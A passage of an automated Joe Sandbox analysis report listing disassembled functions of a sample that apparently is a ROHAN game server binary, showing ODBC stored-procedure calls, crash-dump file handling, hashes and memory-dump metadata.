                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 004336C8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 00433700
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InsertLadderQuestState] (?,?,?, ?,?,?)}, xrefs: 0043356B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InsertLadderQuestState] (?,?,?, ?,?,?)}
                                                                                                                            • API String ID: 0-3027823149
                                                                                                                            • Opcode ID: 08b47d768915e68a46dded6a05b5b56425e8508cfad796cbe5576c9fade6e2ae
                                                                                                                            • Instruction ID: e7035af6969ad55f34fb88c885c34d44d462be9573985d4d696f484ff04c8c46
                                                                                                                            • Opcode Fuzzy Hash: 08b47d768915e68a46dded6a05b5b56425e8508cfad796cbe5576c9fade6e2ae
                                                                                                                            • Instruction Fuzzy Hash: 2A510DB16812557BFB20CB54CC52FAA7335EB84B18F10828BF6187E2C6D1B56D80CF58
                                                                                                                            Function 0042F5F2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetKill] (?, ?, ?, ?, ?, ?)},000000FD), ref: 0042F612
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042F651
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042F686
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F6BE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F6F6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F72E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F766
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042F79E
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetKill] (?, ?, ?, ?, ?, ?)}, xrefs: 0042F609
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetKill] (?, ?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-3457390456
                                                                                                                            • Opcode ID: 79e9f3f721333abe891ac22e54c857bc273d8733b6002aaddf09a6dbfdbe3cd3
                                                                                                                            • Instruction ID: c96e6eea6204c3d9f31c2c94ee4bebab52179fc3d7c50b7df5ef464754610fa4
                                                                                                                            • Opcode Fuzzy Hash: 79e9f3f721333abe891ac22e54c857bc273d8733b6002aaddf09a6dbfdbe3cd3
                                                                                                                            • Instruction Fuzzy Hash: BD5102B06442157BFB648F54CC52FA97336EBC4B18F21C788F7146E2C5DAB269508B58
                                                                                                                            Function 0044070C Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_SaveScrollSkill] (?, ?, ?, ?, ?, ?)},000000FD), ref: 0044072C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0044076B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004407A0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004407D8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000004,00000000), ref: 00440810
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00440848
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00440880
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004408B8
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_SaveScrollSkill] (?, ?, ?, ?, ?, ?)}, xrefs: 00440723
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_SaveScrollSkill] (?, ?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-743286110
                                                                                                                            • Opcode ID: 399c4b58b168f48e565a8e91b0a09902bb1cbe682cac12e8936b4eba5058337e
                                                                                                                            • Instruction ID: 2023f678fee52d28e331bb0a14ac9e39b6c518355ee4042fc414191ada448e54
                                                                                                                            • Opcode Fuzzy Hash: 399c4b58b168f48e565a8e91b0a09902bb1cbe682cac12e8936b4eba5058337e
                                                                                                                            • Instruction Fuzzy Hash: 085127B06482557BEB249B54CCD2FD97374EB84B18F208388F719BE2C6D7B16D608B58
                                                                                                                            Function 0045D030 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 124fileCOMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • __time32.LIBCMT ref: 0045D0EE
                                                                                                                            • wsprintfA.USER32 ref: 0045D148
                                                                                                                            • MoveFileExA.KERNEL32(004E93D0,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0045D15F
                                                                                                                            • wsprintfA.USER32 ref: 0045D1A5
                                                                                                                            • MoveFileExA.KERNEL32(004E92C8,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0045D1BC
                                                                                                                            • DeleteFileA.KERNEL32(004E93D0), ref: 0045D1C7
                                                                                                                            • DeleteFileA.KERNEL32(004E92C8), ref: 0045D1D2
                                                                                                                            Strings
                                                                                                                            • Exception\%02d%02d%02d.%02d%02d%02d.dbg.dmp, xrefs: 0045D199
                                                                                                                            • Exception\%02d%02d%02d.%02d%02d%02d.dbg.txt, xrefs: 0045D13C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$DeleteMovewsprintf$__time32
                                                                                                                            • String ID: Exception\%02d%02d%02d.%02d%02d%02d.dbg.dmp$Exception\%02d%02d%02d.%02d%02d%02d.dbg.txt
                                                                                                                            • API String ID: 3553656915-17688597
                                                                                                                            • Opcode ID: 1ea704fe1dea27c90056f9c87c2ac954dd751cb994a7194c4c9c64639a5b0988
                                                                                                                            • Instruction ID: b469214eccf6d2753a0652ebf366c86541dfcbed847d55abee172120915fcca6
                                                                                                                            • Opcode Fuzzy Hash: 1ea704fe1dea27c90056f9c87c2ac954dd751cb994a7194c4c9c64639a5b0988
                                                                                                                            • Instruction Fuzzy Hash: 11515AB4A00108EFCB18CF54C885EEAB7B5BB4C704F1481D9E90997392D670AE85CF99
                                                                                                                            Function 004319AB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 126COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_UpdateMapMemo] (?, ?, ? ,?, ?)},000000FD), ref: 004319D4
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00431A13
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00431A48
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00431A80
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00431AB8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00431AF0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,0000001E,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 00431B3A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_UpdateMapMemo] (?, ?, ? ,?, ?)}, xrefs: 004319CB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_UpdateMapMemo] (?, ?, ? ,?, ?)}
                                                                                                                            • API String ID: 0-963639086
                                                                                                                            • Opcode ID: 431a11d03efd4cb7e53566664f4e92dc7837d290e4e9bbb22a94039f384b9c29
                                                                                                                            • Instruction ID: d70507fdbef98a4b9eb81598e6b7c54e7e0b9c422c9e1c8151d813e79e361366
                                                                                                                            • Opcode Fuzzy Hash: 431a11d03efd4cb7e53566664f4e92dc7837d290e4e9bbb22a94039f384b9c29
                                                                                                                            • Instruction Fuzzy Hash: C0415670A406187BEB249F44CC52FAA73B4FB84719F14C28CF6547E2C5DAB56D808F98
                                                                                                                            Function 004316D6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 125COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InsertMapMemo] (?, ?, ? ,? ,?)},000000FD), ref: 004316FF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043173E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00431773
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004317AB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004317E3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043181B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,0000001E,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043185B
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InsertMapMemo] (?, ?, ? ,? ,?)}, xrefs: 004316F6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
